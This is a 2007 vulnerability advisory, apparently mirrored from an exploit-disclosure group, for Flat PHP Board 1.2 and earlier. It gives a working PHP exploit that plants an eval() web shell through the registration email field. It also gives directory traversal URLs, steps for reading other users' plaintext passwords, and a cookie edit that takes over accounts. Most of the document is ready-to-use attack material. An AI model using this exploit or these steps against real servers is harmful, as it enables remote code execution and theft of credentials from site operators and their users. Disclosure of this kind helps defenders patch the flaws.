Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18629
HistoryDec 13, 2007 - 12:00 a.m.

Flat PHP Board <= 1.2 Multiple Vulnerabilities

2007-12-1300:00:00
vulners.com
26


/_ | ____ |\___ \ / | / |/ |
| |/ \ | | (
<_/ \ \ ______ | \ \
| | | \ | |/ \ \
| | /
/ | || |
||| /\| /____ /\___ >| ||||
\/\
_____| \/ \/

Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org


Flat PHP Board <= 1.2 Multiple Vulnerabilities


#By KiNgOfThEwOrLd


Remote User Credentials Disclosure

PoC:

No much to say…an attacker can get his target's informations visiting
http://[target]/[flat_php_board_path]/users/[target_username].php

The informations will be showed in this way:

[username] [password] [email]

Multiple Remote Command Executions / File Uploading

PoC:

When we register a new account, flat php board make a file like /users/[username].php
All the fields (Username, Password, Email) are not correctly filtred. Then, an attacker can executes a malicious code on
the vulnerable server.

Exploit:

<?
//Usage: 31337.php?targ=http://[target]/[flat_php_board_path]
$targ = $_GET['targ'];
echo '
<form action=index.php method=post>
<input type=hidden name="username" value="…/31337">
<input type=hidden name=a value=register2>
<input name="password" type=hidden value="r0x">
<input name="password2" type=hidden value="r0x">
<input name="email" value="<?eval(html_entity_decode(stripslashes($_GET[r0x])));?>">
<input type=submit value="Exploit!">
</form>';
/*
This will make a shell in http://[target]/[flat_php_board_path]/31337.php
Usage: http://[target]/[flat_php_board_path]/31337.php?r0x=[php_code]
*/
?>

Nb. also all the fields of index.php?a=profile is not correctly parsed.

Remote Directory Traversal / Source Disclosure

http://[target]/[flat_php_board_path]index.php?a=topic&topic=…/[arbitrary php file]

http://[target]/[flat_php_board_path]index.php?a=viewprofile&username=…/[arbitrary php file]

Remote Cookie Manipoulation / Privilege Escalation

PoC:

An attacker can login with an arbitrary account editing the fpb_username cookie.

In fact, if you try to replace your username with your target username and refresh, you will be logged in like him. But
now, if you try to edit your profile or something like that, you will generate an error like:

Error with cookies. password/username not correct.

Don't worry, if you go to index.php?a=profile you will find your victim credentials. Then, viewing the source code you
can view your victim password as:

<td bgcolor=#f9f9f9><font face="verdana" size=2>Password:</font></td>
<td bgcolor=#f9f9f9><input name="password" type=password value="[password]"></td>

Ok, i think that's all :S